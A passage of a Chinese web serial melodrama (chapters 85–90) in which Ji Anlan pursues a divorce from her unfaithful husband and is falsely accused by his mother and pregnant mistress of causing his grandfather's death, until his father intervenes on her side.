“那又怎样?”纪安澜冷哼一声,眼底划过一抹淡淡的失落,“这次算我输了,但是山水有相逢,谁能笑到最后还不一定。”
看着纪安澜输了又嘴硬的样子,宋妘妘越发得意。
“作为一个女人,就应该好好在家相夫教子,而不是出去抛头露面,在众人面前丢人现眼,滋味如何?”
“大清已经亡了。”纪安澜眯着眼睛,眼底透露着一丝不屑。
“你想依靠男人,那是因为你没本事!”
宋妘妘觉得纪安澜气急败坏,满脸不屑,挽着江容川的胳膊,眼底是毫不掩饰的炫耀与轻蔑。
“谁让容川那么厉害呢?一下拿了好几个项目,你呢?”
冷哼一声,嘲讽溢于言表。
“什么都没拿到的人,还好意思在这说本事?真是让人笑掉大牙。”
换做以前,见宋妘妘如此怼纪安澜,江容川定会阻止。
可今日,他心里莫名觉得一阵舒畅。
观察着纪安澜那失落的表情,虚荣心得到了极大的满足。
他认为只要让纪安澜看到他的能力,纪安澜一定会回心转意。
到那时,他可以轻松拿捏纪安澜。
想到这里,墨染的眸子泛着一丝志在必得的光。
纪安澜眼底划过一抹不易察觉
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的轻蔑。
冷冷地瞥了两人一眼,不想与宋妘妘争辩,抬脚打算离开。
“怎么?说不过我就想逃跑?”身后宋妘妘挑了挑眉峰。
纪安澜并没有停下脚步。
看着那纤瘦的身影,江容川莫名的心口一紧,下意识地伸手拉住了她的手腕。
一瞬间,所有的人都呆住了。
宋妘妘的脸立刻变成了猪肝色,不可置信地瞪圆了眼睛,狠狠地瞪了一眼江容川。
他这才反应过来,赶紧松开了手。
纪安澜一脸嫌弃地望了他一眼,仿佛身上沾染了脏东西。
“我就是为了提醒你别忘了智慧机器人的合作。”
掀起清冷的眸子,纪安澜冷声道:“江总请放心,合作依旧有效。”
“那就好……”江容川眉头微蹙,定定地看着她,眼底的期待快要溢出。
一旁的宋妘妘见势不妙,立刻走上前一步,挽住了他的胳膊。
“容川,你不是说今天结束之后要请我吃饭吗?”
那双满含笑意的眸子,分明带着一丝威胁。
这句话是在给他台阶下。
毕竟他可是给了江容川实打实的6亿,若是在这个节骨眼上,江容川选择纪安澜,那将会竹篮打水一场空。
收敛起脸上的表情,江容川扭头垂眸看她,勉强勾了勾唇:“嗯。”
“我就知道你对我最好了,还说要跟我买包包。但那些身外之物我都不在意,只要能陪在你的身边,我就心满意足了。”
他紧抱着江容川的胳膊,脸紧贴在他身上,宣示**一般,冲着纪安澜挑了挑眉。
看着面前这对“璧人”,和宋妘妘眼中毫不掩饰的炫耀,纪安澜心头没有一丝波澜,反倒觉得可笑。
小三上位,一定很有看头。
既然事情已经出了,不如再闹大一点。
“恭喜江总拿下这些项目,美人在侧,江总事业爱情双丰收,真是羡煞旁人。”
听着这些赞美的话,江容川唇角上扬,觉得纪安澜看到了他的能力。
看着他的反应,纪安澜嘴角勾起一抹嘲讽的弧度:“既然江总如此春风得意,看起来也十分清闲,不如现在去领离婚证吧?”
第85章 你还怀着孕
江容川的笑容僵硬在脸上。
“离婚”两个字,像是一记响亮的巴掌扇在了他的脸上。
脑海里炸起一声惊雷,江容川面色一沉,眼中闪过一抹错愕。
他不可置信地瞪着纪安澜,没想到看到他的能力后,纪安澜依旧选择离婚。
“不……”
刚发出一个音节。
一旁的宋妘妘掐了他胳膊一把。
江容川瞬间清醒。
看他的反应,似乎还不愿意离婚。
宋妘妘眼中满是不甘,狠狠地瞪着他,冷声威胁:“可别忘了之前答应过我什么。”
说过的话,他自然不会忘记。
他的脸色瞬间阴沉下来。
纪安澜冷冷地瞥了他一眼,心里发出阵阵冷笑。
早就看出江容川两面三刀,为了利益不择手段,宋妘妘之前帮了他那么大一个忙,就等于被手握了个把柄。
想必,他现在也是身不由己,只要有宋妘妘在,就算江容川想吊着她不离婚,也不可能。
“现在去还是以后……”
话还没有说出口,宋妘妘立刻抢过话茬:“你别想再霸着江太太的位置不放手,现在就去领离婚证。”
他的语气急切,生怕纪安澜后悔似的,扭头看向江容川。
此刻他的脸色一阵青一阵白,脸上写满了不想离婚。
那副不情不愿的模样,不知道的还以为他对纪安澜有多深情。
可只有纪安澜知道,江容川这一切都是装出来的。
之所以不想离婚,无非就是为了他手里的人脉和资源,钥匙放在以前,江容川都不会多看她一眼。
更何况之前离婚一事闹得沸沸扬扬,若是江容川选择此时跟她离婚,就坐实了忘恩负义的渣男形象。
见江容川一动不动,冷着脸,目光紧紧盯着纪安澜,宋妘妘在一旁急得不行,眼底划过一抹嫉妒,转瞬即逝。
他软下声来,声音发嗲:“容川,可别忘了,这一次智慧机器人是谁帮你拿下的?”
纪安澜诧异的看了她一眼。
感受到他的目光,宋妘妘冷哼一声,继续冲着江容川撒娇。
“事情都已经闹到这种地步了,就算不离婚,她也不会帮你!只有我才是真心爱你的。”
话音刚落,也大抵明白江容川的心思,之所以选择不离婚,可能就是为了面子。
她赶紧小声撺掇:“上次他放我们鸽子,没去民政局,这次故意这么说,估计就是在试探你,你要是不去,显得多在意她似的,以后他更容易拿捏你了。”
这句话说到了江容川心里。
或许纪安澜只是在试探。
他心里这样想着,面色柔和了些。
沉声道:“好。”
见他答应,纪安澜打算拦一辆出租车。
江容川走过去阻止她:“坐我的车。”
宋妘妘脸色难看,纪安澜想要拒绝。
江容川冷声解释:“上次你就没来。”
原来是怕她反悔。
嘴角噙着一抹冷笑,纪安澜满眼嘲讽地看着他。
他还真的把自己当回事,觉得所有人离了他都不行?
无语地站在原地,纪安澜挑眉:“那就麻烦江总捎我一程了。”
盯着那双黑白分明的眼眸,江容川眉头微蹙,她努力地挺直背脊,梗着脖子看着她,希望从她眼中找到一丝后悔的表情。
可他只看到了清冷与疏离。
“容川,我们快去开车吧。”宋妘妘走过来,牵着她的手往地下车库走。
纪安澜冷冷地跟在两个人身后,看着他们打情骂俏。
江容川时不时地扭头看她,纪安澜装作没看见。
三人一同上了车,宋妘妘轻车熟路地坐在副驾驶座上,纪安澜则坐在了后座上。
漆黑的眸子盯着后视镜,纪安澜嫩白的小脸没有多余的表情,扭头看着窗外,似乎与他们无话可说。
宋妘妘则在旁边煽风点火:“怎么一副别人欠了你几百万似的?”
冷笑一声,她眼中充满了得意:“该不会是今天容川抢了你的项目,你心里不满吧?”
“怎么会?”纪安澜不屑地扭头:“我还要恭祝江总一帆风顺,毕竟是合作关系,我可不希望到时候江总付不出钱来。”
想到刚才宋妘妘说的话,纪安澜眼底划过一抹怀疑。
宋妘妘说是她帮江容川拿下的智慧机器人,难不成那钱是她掏的?她哪来的那么多钱?
“你放心,有我在,容川这辈子都不可能缺钱。
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”
话音刚落,得意地挑了挑眉,目光转向江容川时,眼底满是柔意。
江容川被迫扭头看了她一眼,四目相对,两人看起来浓情蜜意。
对此,纪安澜已经见怪不怪,眼底只剩下一片清冷。
江容川一踩油门,车子缓慢地行驶在路上。
宋妘妘刚开始还在嘲讽着纪安澜,后来发现车子行驶得很慢,还以为是错觉,忍不住朝外看了一眼,发现窗外的景象几乎没怎么变动。
她眉头微蹙,质问道:“容川,你为什么开这么慢?又不堵车,赶紧把车开到民政局啊,不然一会他们就下班了。”
“你还怀着身孕,安全第一。”
江容川淡淡的解释了一句。
本来宋妘妘心里有些生气,不过听到江容川这么一说,反倒有些得意。
原来江容川是为了她。
果然,现在江容川心里眼里都是她!
想到这里,宋妘妘的手放在了腹部,动作极尽轻柔。
“对啊,女人怀孕是得注意一些,不像某些人,压根就不知道怀孕的滋味。”
这句话如同一把刀,狠狠的扎进了纪安澜的心口。
手指紧握成拳,因用力骨节泛白,纪安澜脸色微变。
收敛起脸上的神情,纪安澜扭头看向窗外。
她脸上的微表情被宋妘妘尽收眼底,靠在椅背上,宋妘妘眼底的得意快要溢出。
他的目光一直注视着纪安澜,完全没有看到江容川的动作。
可纪安澜观察到江容川时不时的会看一眼时间。
他之所以会开得这么慢,并非是因为宋妘妘是个孕妇的原因。
江容川分明就不想离婚,之所以开这么慢,就是为了拖延时间!
本来一个小时的路程,江容川竟生生地开了两个多小时,才到达民政局门口。
等到他们赶去时,民政局的人员正好下班。
宋妘妘怒不可遏,江容川眉头微蹙,一副无可奈何的模样。
纪安澜冷冷地看着江容川表演。
以他的卑劣程度,想要脚踏两条船也不是没可能。
既想拿着宋妘妘的资源,又想从她这里掠夺资源,想左右逢源,又不想背上渣男的恶名,真是打了一手好算盘!
第86章 到底是谁不想离婚
“都怪你,开车这么慢!”
宋妘妘气得在原地直跺脚,怒不可遏地瞪着江容川。
后者则冷冷表示:“不是为了顾及你的身体吗?”
宋妘妘被噎得说不出话来,脸胀成了猪肝色。
只能扭头恶狠狠地瞪着纪安澜,把所有的过错全都强加在她的头上。
“都怪你!”
听着她尖利的责怪声,纪安澜冷笑:“跟我有什么关系?”
“上一次是你故意不来,不然早就领到结婚证了。你就是想霸占着江太太的位置,是不是?”
看着她气得面色难看,纪安澜心里没来由的一阵畅快。
她自然知道今日迟到是江容川的手笔。
他不想离婚,可两人关系破裂并非一天两天,绝不可能和好。
只有他还在做白日梦,反正离婚协议书已经拿到手,离婚也不急在一时,她有的是时间跟江容川慢慢磨。
这场拉锯战,她奉陪到底!
不过,盯着宋妘妘那气急败坏的脸,纪安澜心生一计,笑道:“我就是想占着江太太的位置,你又如何?”
目光落在了民政局紧闭着的大门上,纪安澜嘴角笑意更盛,走上前一步,靠近宋妘妘,声音清亮。
“真是可惜,今天又没办法离婚了。”
一句话彻底地点燃了宋妘妘的怒火,她抬手就要给纪安澜一巴掌。
纪安澜眼疾手快地握住了她的手腕,用力地甩开了她的手。
眼神轻蔑:“到底是谁不想离婚?你到现在还没有看清吗?真是蠢的要命。”
话音刚落,两人的目光同时看向江容川。
他面色一僵,站在原地,沉默不语,似乎不打算解释。
宋妘妘怒目圆瞪,想让他开口。
纪安澜懒得再跟他们废话,眼看着时间不早,淡然地扫了江容川一眼。
“没关系,我有的是时间,江总若是得了空,直接给我打电话就行,我会在民政局等你。”
话音刚落,又补充了一句:“除了离婚的事,别的事情不用找我,找张萌萌就行。”
说罢,挺直脊背,转身就走,丝毫不带留恋。
江容川的目光落在纪安澜那决绝的背影上,眼底满是烦躁。
站在原地,双手紧握成拳,脸色难看至极。
宋妘妘本想怪他,可看着他脸色阴沉的模样,不敢再火上浇油。
他立刻收敛起脸上的怒意,转而安慰他:“容川,我知道她是在挑拨离间,我绝对不会信她的。”
试探性地挽起江容川的胳膊,他并没有拒绝,宋妘妘唇角上扬,“今天没离成,那我们明天再来,总有一天能离成!知道你是想离婚跟我结婚的。”
听了这话,江容川更是觉得内心一阵烦躁。
他根本就不想离婚!
现在脑海里全都充斥着纪安澜的身影,挥之不去。
即便知道宋妘妘现在对他更有用,可他还是放不下纪安澜。
眉头紧锁,江容川冷声道:“回去吧。”
说着,起身打开车,坐了进去。
看着他那不耐烦的模样,宋妘妘眼底划过一抹不甘心。
深吸了一口气,逼迫自己冷静下来,这才上了车,笑意盈盈地侧头看他。
“宋川,你不是说要带我去买包包?我们现在就去吧。”
“嗯。”江容川淡淡的回答了一个音节,一踩油门,车子疾驰在路上。
速度之快,让宋妘妘吓了一跳。
刚才不是说在意她的身子吗?怎么现在开的这么快?
难道江容川真的是故意的?
刚产生这个念头,宋妘妘眼底划过一抹冷意,手指聚拢,面色阴沉。
看来江容川到现在还放不下纪安澜。
不过不着急,只要肚子里有这个孩子,她就可以轻易地拿捏江容川。
想到这里,宋妘妘嘴角上扬了一抹冷冽的弧度。
与此同时,纪安澜接到了医院打来的电话。
“什么?”听到电话里的内容,纪安澜如遭雷击,呆愣在原地,久久都回不过神来。
“你说爷爷病危了?”
挂断电话,纪安澜快马加鞭地赶到了医院。
急救室的灯亮着,走廊里坐满了江家的人,唯一没到的就是江容川。
柳清眉见纪安澜来了,立刻呵斥:“你来干
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什么?你早就不是我们江家的人了,既然已经离婚,赶紧滚!”
她的音调颇高,响彻了整个走廊,引起了不少病人的注意力。
纪安澜眉头微皱,心里担心爷爷,没空跟她胡扯,冷声道:“离没离婚,你问你自己儿子去。”
“什么?你的意思是说你们两个到现在都没有领离婚证?这怎么可能?是不是你故意的?”
这句话跟宋妘妘说的如出一辙。
纪安澜真是佩服他们两个人的脑回路,以为所有的女人都爱江容川爱得要命?
是,她之前有过恋爱脑的时候,但现在今非昔比,她早就清醒过来,又怎么可能会对江容川恋恋不舍?估计这世上也只有他们两个人会爱着江容川。
“你儿子是个什么样的人,难道你心里不清楚吗?想脚踏两条船,吃尽红利,还想把脏水泼到我身上,你们母子俩可真的是够卑劣的。”
纪安澜心里着急,忍不住说出了心里话。
“我儿子是什么人?很多女人喜欢他,都想做江太太!反倒是你,简直就是个废物,我儿子娶了你,真是倒了八辈子的血霉!”
他们结婚之前,柳清眉可不是这么说的。
当时为了能跟他们家结亲,柳清眉可谓是十足的谄媚。
如今,纪氏**家抽干了血液,他倒是开始嫌弃曾经助他们发家的纪氏了。
还真是过河拆桥。
“既然这样,那你就赶紧让你儿子把宋妘妘娶了。”
纪安澜嘴角勾起一抹冷笑,冷冰冰地看着柳清眉。
“堂堂**总裁,居然让一个小三登堂**,表面上无光,难道江容川不会被人戳脊梁骨?”
一句话说的柳清眉脸色难看。
“只要你不胡说八道,没有人会说我儿子的不是。要是有什么不好的谣言,也都是你散播出去的!”
“江山易改,本性难移。上梁不正下梁歪。江容川之所以变成这样,就是你教的!”纪安澜冷冰冰地指出问题所在,“狗改不了吃屎,他今日能出轨宋妘妘,难道明日就不会出轨别人?我倒是等着看你们江家是如何自取灭亡的?”
第87章 最后一面
“你……”
柳清眉被骂得哑口无言,脸色黑如锅底,手指颤抖,想反驳,却无话可说。
这时,急救室的门被打开。
江老爷子被推了出来,立刻转到了旁边的VIP病房里。
纪安澜立刻迎了上去,柳清眉也赶紧走上前,两人却被隔绝在外。
多时,门被打开。
一个护士冲着外面喊。
“谁是纪安澜?老爷子要见你。”
一听这话,纪安澜快步跑到门口。
“我是!”
她立刻掏出身份证,证明身份。
柳清眉眼见着纪安澜快要闯进去,赶紧拦住了她。
“护士,怎么回事?老爷子没事吧?”
护士脸色一沉,摇了摇头。
看到她的反应,纪安澜感觉浑身僵硬,如同被雷击中,脸上血色尽失。
难道爷爷……
纪安澜瞳孔骤缩,不敢多想,一个闪身冲了进去。
柳清眉想拉住纪安澜,根本就来不及阻止。她想冲进去,却被护士挡在门外。
“江老爷子只说,见纪安澜一人,其他的闲杂人等不得入内。”
“闲杂人等,你知不知道我是谁?我儿子可是现在的江家掌舵人!”
柳清眉拔高了音量,像是生怕别人不知道似的。
护士淡淡的表示:“既然你身份这么重要,那老爷子肯定会想跟你见一面,不用着急,迟早会轮到你的。”
病房里,鼻息间充斥着消毒水的味道,满屋子的白色,压抑得让人喘不上来气。
视线落在病床上,江老爷子平躺着,脸色惨白,气若游丝,身上插满了各种管子。
纪安澜心口一阵钝痛,走上前,满眼都是心疼。看着老爷子奄奄一息的模样,鼻子一酸,眼眶微红,眼泪不受控制地滑落脸颊。
他强忍着内心的情绪,声音轻颤,喊了一声:“爷爷,我来了。”
思念纪安澜的声音,江老爷子费力地睁开眼睛,浑浊无光的视线落在他的脸上。
嘴唇微动,却没有发出任何声音。
纪安澜赶紧握住他的胳膊,安慰他:“别着急,没事的,你一定会好起来的。”
感受着纪安澜掌心的温度,老爷子颤巍巍地抓着纪安澜的手,浑浊的眼眸里充满了愧疚与不舍。
看着他的眼神,纪安澜的心仿佛被什么攫住,痛得厉害。
他什么话也没说,又好像说了千言万语。
纪安澜知道,在江家,只有江老爷子觉得对他有所亏欠。
他拼了命的想要弥补她,同时也在为江容川的所作所为向她道歉。
可这一切都不是他的错,他没有必要替江容川做这些。
江容川是江容川,她的准前夫。
而江老爷子是她的爷爷!
纪安澜反握着他的手,不敢用力,声音温柔:“爷爷,我知道你想说什么,他犯下的错,应该由他承担,我既叫了你一声爷爷,那你一辈子都是我爷爷。”
听了这些话,江老爷子眼眶一红,浑浊的眸子泛着一丝光彩。
嘴唇微张,从口齿间挤出来几个字:“爷爷没办法照顾你了,你要好好的……”
随着最后一个音节发出,他缓缓地闭上了眼睛,浑浊的泪水顺着脸颊淌落,那只枯瘦的手,紧抓着纪安澜,像是不放心一般。
耳边传来了滴的一声长鸣,监护仪的心电图变成了一条直线。
那声音刺耳,响彻耳膜。
纪安澜脸上血色尽失,感受着他手心的温度慢慢变凉,悲从心来,眼泪如断了线的珍珠滑落脸颊,定定地看着老爷子那苍老的脸,失声痛哭。
江家,那个把她捧在手心里的人,终究还是走了。
从此以后,她跟江家再也没有半分关系,唯一的纽带也没了。
失魂落魄地坐在病床旁,纪安澜心里五味杂陈,只觉得内心一阵钝痛,仿佛被人用刀子生割着。
医生和护士闯进来,撤掉了所有的仪器,旁边还有声音劝说,让她节哀。
话说的轻巧,她的心却越发的痛了。
这时,柳清眉闯了进来。
看见哭的泪流满面的纪安澜,和紧闭着眼睛的姜老爷子,瞳孔震惊:“老爷子这是怎么了?”
护士立刻回答:“抱歉,江老爷子归天了。”
“什么?怎么可能?他还没有见我,没有跟我说话呢。”
柳清眉惦记着
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江老爷子的私产,想着他在弥留之际肯定会把资产留给江容川。
可没想到连他最后一面都没见着,他竟然撒手人寰了。
柳清眉目光落在纪安澜脸上,冲过去揪住她的衣领,冷声质问:“老爷子跟你说什么了?是不是又留了私产给你?那都是我儿子的,你不能拿走,你已经跟他离婚了,你就是个外人!”
纪安澜面无表情,任凭泪水滑落,根本就听不进去她说的任何一个字。
见纪安澜没有任何反应,柳清眉更加用力地摇晃着她的身子。
嘴里怒骂着:“你就是个不会下蛋的母鸡,别想霸占我儿子身边的位置!我们江家现在已经有后了,根本就不需要你,你赶紧把老爷子的私产交出来,否则我不会放过你的!”
话音刚落,抬手就要给她一巴掌。
“妈!”
一道冷冽的嗓音自门口传来。
江容川快步走过去,一把握住了柳清眉的手腕,阻止了她的动作。
“妈,你在干什么?”
见到江容川来了,柳清眉立刻哭诉:“老爷子,他没了!”
“什么?”江容川瞳孔微震,视线不由自主地看向了病床,江老爷子躺在床上,脸上毫无生气。
他身子踉跄了两步,险些摔倒。
宋妘妘眼疾手快地扶住了他,柔声安慰:“容川,你没事吧?别吓我。”
柳清眉也十分关心:“儿子,先别伤心,先去给纪安澜把老爷子的私产要回来!”
浓眉微皱,听见私产两个字,江容川这才有了点反应。
老爷子在临走之前,又给了纪安澜私产?
目光落在那张素白的小脸上,此刻毫无血色,定定地站在那,眼睛一眨不眨地看着老爷子,纪安澜眼底是隐藏不住的伤心。
喉结微动,张了张嘴,江容川有些不忍开口。
柳清眉恨铁不成钢,怒不可遏地指着纪安澜,怒骂道:“本来老爷子好好的,就是她把老爷子给气死的!”
话音刚落,病房里瞬间涌进来数十个记者。
“你说的可是真的?江老爷子是被纪安澜气死的?”
一个话筒怼到了柳清眉的脸上。
第88章 她逼死江老爷子?
柳清眉愣了一瞬,没想到居然来了记者。
转瞬,脸色变得阴沉,眼底划过一抹算计。
她正了正神色,义正言辞谴责纪安澜。
“没错!纪安澜生不出孩子却不想离婚,明知道老爷子身体不好,却来跟他吵架,生生把老爷子气**!”
众人一听,瞬间炸开了锅。
记者们的视线落在了纪安澜的脸上。
他们迅速冲过去,将她团团围住,提出各种尖锐的问题。
“听说您跟江总早就感情破裂,之前的婚姻也是你用尽手段得来的,是真的吗?”
“听说您在结婚后不守妇道,跟别的男人有染?导致无法生育?是吗?”
“对于江老爷子被你逼死一事,你可有什么话想说?”
这些问题犹如一把把利刃,直直地刺向纪安澜。
她还没从心痛中缓过神来,突然感觉到一股冷冽的视线。
扭头便看见宋妘妘挑眉看着她,一脸看好戏的表情。
看来这一切都是宋妘妘的手笔了。
老爷子刚刚去世,记者这么快的赶到病房,怎么看都觉得是有人刻意为之。
宋妘妘扭头给柳清眉使了个眼色,她心领神会,立刻扯着嗓子大喊:“就算你不想离婚,也不能那么跟老爷子说话,他年纪大了,之前还是你的长辈,你不仅无礼,竟然气**他!我们江家断难容你!”
一句话让在场所有人的目光齐刷刷地射向了纪安澜,闪光灯疯狂地在纪安澜脸上拍照,将她的脸色映得越发惨白。
面对柳清眉空口白牙的诬陷,纪安澜没有任何证据自证清白。
房间里没有监控,当时只有她跟老爷子两人,除了他俩,没有人知道两人的谈话内容。
面对记者们尖锐的问题,和铺天盖地的怀疑声。
纪安澜努力克制着心痛,收敛起脸上的神情,目光冷冷地扫了一眼记者,最后视线落在了柳清眉脸上。
“我跟老爷子说什么了?”
声音清冷,不咸不淡,丝毫没有一丝慌张。
柳清眉眼底划过一抹慌乱,冷声道:“那些话,不堪入耳!我们这种受过高等教育的人,是断然说不出口的。”
谎话张口就来,跟江容川一样。
怪不得江容川如此卑劣,全都是继承了她的“良好”基因。
“这么说,你听到了我跟爷爷的对话?”纪安澜异常平静地问。
“对啊!”
纪安澜找到了最大的漏洞。
“当时护士只叫了我一个人进来,记得你是被堵在外面的,隔着一道门,你又怎么能听清我跟爷爷的对话?”
柳清眉脸色唰的一下白了,张了张嘴,哑口无言。
“我……你们说话声音大,我在外面听见了不行吗?”
纪安澜冷笑一声,视线落在了不远处的护士身上。
“当时那种情况下,想必护士也守在门外,你说你听见了我跟爷爷的对话,那我倒想要问问护士有没有听见了。”
话音刚落,所有人的目光齐刷刷地看向了那个护士。
小护士哪见过这种场面,呆愣在原地,脸色发白,张了张嘴,还未开口说话。
柳清眉抢先一步回答:“当然听见了!”
她一个箭步冲过去,揪住了那护士的手腕,冷声威胁:“你可千万不要包庇凶手,当时你跟我一起站在门外,是不是也听见了她威胁老爷子?”
护士眼中闪过一抹惊恐,想摇头,看着柳清眉那怒火中烧的眼神,害怕得不敢有任何动作。
场面一度陷入僵持。
这时,站在一旁的宋妘妘,赶紧开口道:“阿姨最是孝顺,怎么可能说假话?你们难道相信一个劣迹斑斑的女人,也不相信**集团掌权人的母亲吗?”
她是懂怎么**人心的。
之前的事情闹得沸沸扬扬,纪安澜的风评一直都不好。
如今出了这档子事,就算江老爷子不是被纪安澜气死的,所有人也都希望是被她气死的,这样新闻才有爆点,才会有人看。
记者们闻言,又再次将镜头对准纪安澜。
不管纪安澜说什么,他们都可以随便乱写。
只要制造一点噱头,就能引爆整个A市。
“纪女士,现在所有的矛头都指向你,你对这些指控有什
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么要辩解的吗?”
“目前看来,柳女士没必要撒谎,毕竟陷害你而让自己晚节不保,实在是说不过去。”
“听说江老爷子对你特别好,你为什么要如此狠心气死他?”
纪安澜脸色发白,面对声声质问,不想陷入自证陷阱,不然就落入了他们的圈套。
可如果不自证,接下来的流言蜚语将会将她吞没,一口唾沫淹**,她是体验过的。
面前的这些镜头,都像是**的恶鬼,张着血喷大口,好像随时都能把她吞入腹中。
所有人都像是鬼魅,脸上挂着猖狂的笑,等着看她的笑话。
他们的目光**在她的身上,拼命想要在她身上挖掘出劣迹,可没有人在意爷爷的死活,仿佛爷爷之死,对任何人都无足轻重。
纪安澜痛得快要无法呼吸,还要面对这些人的刁难,脸色越发的难看。
记者们十分着急,想要发出新闻。
不知有谁向前挤了一下,纪安澜身子不稳,险些摔倒。
不远处的江容川紧盯着纪安澜,看到这一幕,下意识地抬脚走过去要扶她。
宋妘妘立刻拉住了他,面色阴沉,眼底划过一抹不满。
她压低了嗓音,沉声道:“难道你不想要江老爷子的私产了?”
闻言,江容川脚步一滞,停在了原地。
宋妘妘满意地看着他的反应,嘴角上扬了一抹冷冽的弧度:“眼下不管纪安澜说什么,都无法自证清白,那些记者肯定会盯着她不放,在强压之下,我就不信他还有脸霸占着江老爷子的私产!”
这是想要逼纪安澜拿出老爷子的私产。
江容川盯着纪安澜那毫无血色的脸,眼底划过一抹心疼,但转瞬又被贪婪取代。
只要我拿回爷爷的私产,你的纪氏独木难支,是不是就愿意回到我的身边了?
想到这里,江容川停下脚步,一脸冷漠地看着纪安澜被记者围在中间为难。
这时,门砰的一下被打开。
一道沉稳的脚步声由远及近。
众人扭头看去。
江容川眼睛微张,不可置信地看着来人。
第89章 偏帮
众人循声望去,只见一个中年男人身着熨烫得体的西装,头发梳得一丝不苟,在保镖的簇拥下,缓步而来。
“爸……”江容川喉咙干涩地叫了一句。
江震霆淡漠地瞥了他一眼,仿佛在看一个陌生人。
视线转向病床,目光多了几分悲戚,转瞬即逝。
他身上笼罩着一股上位者的威压感,原本闹哄哄的房间,瞬间变得鸦雀无声。
冷冷地扫了一眼那些记者,他沉声道:“我父亲刚刚去世,你们这么做是不是不太礼貌?”
明明是不咸不淡的语气,可说出来却让人觉得后背发寒,带着不容人置喙的威严。
记者们面面相觑,面色微变,他们强行闯入,确实有些不太合时宜。
这时,宋妘妘察觉到情况有变,托着腰,缓慢地走到江震霆面前,眼眶一红,开始哭诉。
“叔叔,你终于回来了!这下江家有人主持大局了,纪安澜害**爷爷!可一定要为爷爷做主啊!”
“爷爷?”江震霆浓眉微皱,视线紧盯着她,眼中划过一抹探究。
宋妘妘脸色微变,有些窘迫地站在原地,她现在身份很尴尬,确实不能叫江老爷子爷爷,赶紧扭头向江容川投去了求救的目光。
江容川冷冷地站在那里,面色严肃,却没有打算为她开口的意愿。
宋妘妘只好赶紧改口:“纪安澜害**江老爷子!”
江震霆的目光越过人群,落在了纪安澜的脸上。
一身洁白的连衣裙,衬得那张清丽的小脸越发白皙,眼尾泛红,眼中盛着化不开的悲伤,定定地站在那里,仿佛无法接受爷爷已经过去的事实一般。
江震霆眸色幽深,在他的印象里,老爷子对纪安澜一向很好,他们俩在江家处得像亲爷孙俩,说别人也就罢了,说纪安澜气**父亲,他断然不信。
观察着江震霆的表情,他神情淡定,似乎并不相信她的说法。
宋妘妘眼底划过一抹狠厉,飞快地朝着柳清眉使了个眼色。
柳清眉心领神会,收敛起脸上看好戏的表情,走上前,拔高音量,开始歇斯底里地控诉。
“震霆,你就是我们江家的主心骨,纪安澜实在是太过分了,父亲让她跟容川离婚,她非常不肯,一个劲地顶嘴,本来父亲还活得好好的,竟生生地被她给气**!”
她颤抖着手指,指着纪安澜,眼睛里的嫌弃一览无余。
“她就是个扫把星!要不是因为她,父亲至少可以等到你回来,就连我也没有见到父亲最后一面,都怪她!”
话音刚落,原本偃旗息鼓的记者们又再次拿起相机,对着他们拍照。
江震霆浓眉紧锁,转身冷冷地瞥了一眼众人。
记者们被他的眼神吓得呆滞在原地,不敢有多余的动作。
他声音冷到极致,“这是我们江家家事,闲杂人等,最好不要过问。”
他的手段之前就有所耳闻,杀伐果断,眼睛里容不得沙子,甚至有传闻说,他手上还有命案,只是一直没有实际证据佐证。
记者们不敢放肆,纷纷放下了手里的相机。
眼见着记者们害怕,宋妘妘担心消息传不出去,赶紧站出来说道:“纪安澜有恃无恐,叔叔,你可不能包庇她,这会纵得她无法无天!”
话音刚落,又赶紧补充了一句:“更何况,她现在正在跟容川闹离婚,很快就不是江家的人了,跟江家根本就不是一条心的,叔叔,你可别被她给骗了。”
在她眼里,纪家败落,纪安澜是个无依无靠的孤女,江震霆是商人,最是重利,根本就不会把纪安澜放在眼里。
更何况,她现在怀有身孕,手里握着王牌,江震霆没有理由不选择站在她这边。
宋妘妘见火烧得不够旺盛,赶紧又给柳清眉使了个眼色。
柳清眉顺势继续添油加醋:“震霆,你可一定要为父亲做主啊!千万不能放过纪安澜!”
江震霆视线再次转到纪安澜身上,声音冷硬,面无表情地质问:“她们说的可是真的?”
纪安澜掀起眼眸,泛红的眸子黑白分明,没有半分闪躲。
迎着那道凌厉的视线,
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一字一句,字字铿锵有力:“不是!”
简单的两个字,没有多余的辩解。
江震霆只是扫了她一眼,便立刻收回目光,心下已经了然。
纪安澜不会害了父亲。
“你脸色不好,需要我帮你叫医生吗?”江震霆沉声问。
所有的人都震惊了,不是在质问她吗?怎么开始关心起纪安澜来了?
“不用。”纪安澜淡然地回绝。
“震霆,你怎么……”柳清眉不可置信地拔高了音量,想质问,却被他一个眼刀子给堵住了所有的话。
宋妘妘看着江震霆的反应,立刻急了。
“叔叔,是纪安澜害了江老爷子!你这么轻拿轻放,就不怕外人说闲话吗?”
“说闲话?”江震霆冷笑了一声。
“我在国外可没有少听江家的闲话。”
话音刚落,目光凌厉地落在了江容川身上,声音陡然拔高,带着雷霆万钧的怒意。
“瞧你干的好事!我在国外都听说了你做的那些龌龊事!”
“这不怪儿子,谁让纪安澜是个不下蛋的母鸡呢?”柳清眉赶紧站出来护着江容川。
江震霆恶狠狠地瞪了他一眼,柳清眉被吓得缩了缩脖子,眼神飘忽。
他低沉的声音,震得人心头发颤:“当初纪安澜是如何对你的?难道你全都忘了?纪家。有恩于我们江家,你怎能如此混账?跟这种不三不四的女人混在一起,简直就是给我们江家丢人!”
“不三不四”四个字刺痛了宋妘妘的心,她面色难看,扯着嗓子指出:“叔叔,你未免也太偏心了,明明把江老爷子气死的人是纪安澜,你不仅不指责她,为什么要指责容川?”
“父亲最疼爱纪安澜,她不可能气死父亲!”
一句话掷地有声,让所有的人都噤若寒蝉。
“反倒是这个逆子……”
深吸了口气,目光阴冷地看着江容川,只见他面色铁青,不言不语。
江震霆声音冷冽,对着身后的保镖吩咐道:“把这个女人赶出去!不准再踏进病房半步!”
第90章 操持丧礼
江容川和宋妘妘同时露出了震惊的表情。
不等宋妘妘反应过来,保镖立刻上前架着她就往外面拖,不管她如何喊叫,都无济于事。
江容川面色一沉,看着宋妘妘被拖走,眼底的情绪十分复杂。
父亲为什么会当众把宋妘妘拖出去?
视线忍不住看向了江震霆,他面色阴沉,不怒自威,冷冷地站在那里便足以震慑全场。
不经意地瞥见了一旁的母亲,眼底同款震惊,张了张嘴,想说话,却敢怒不敢言。
看到这一幕,江容川眼底划过一抹了然。
可能是怕母亲发现吧……
直到宋妘妘的叫喊声消失得无影无踪,这场闹剧才算是真正的结束。
江震霆转身,视线越过人群,看向纪安澜。
他脸上的冷厉散去,语气缓和了些。
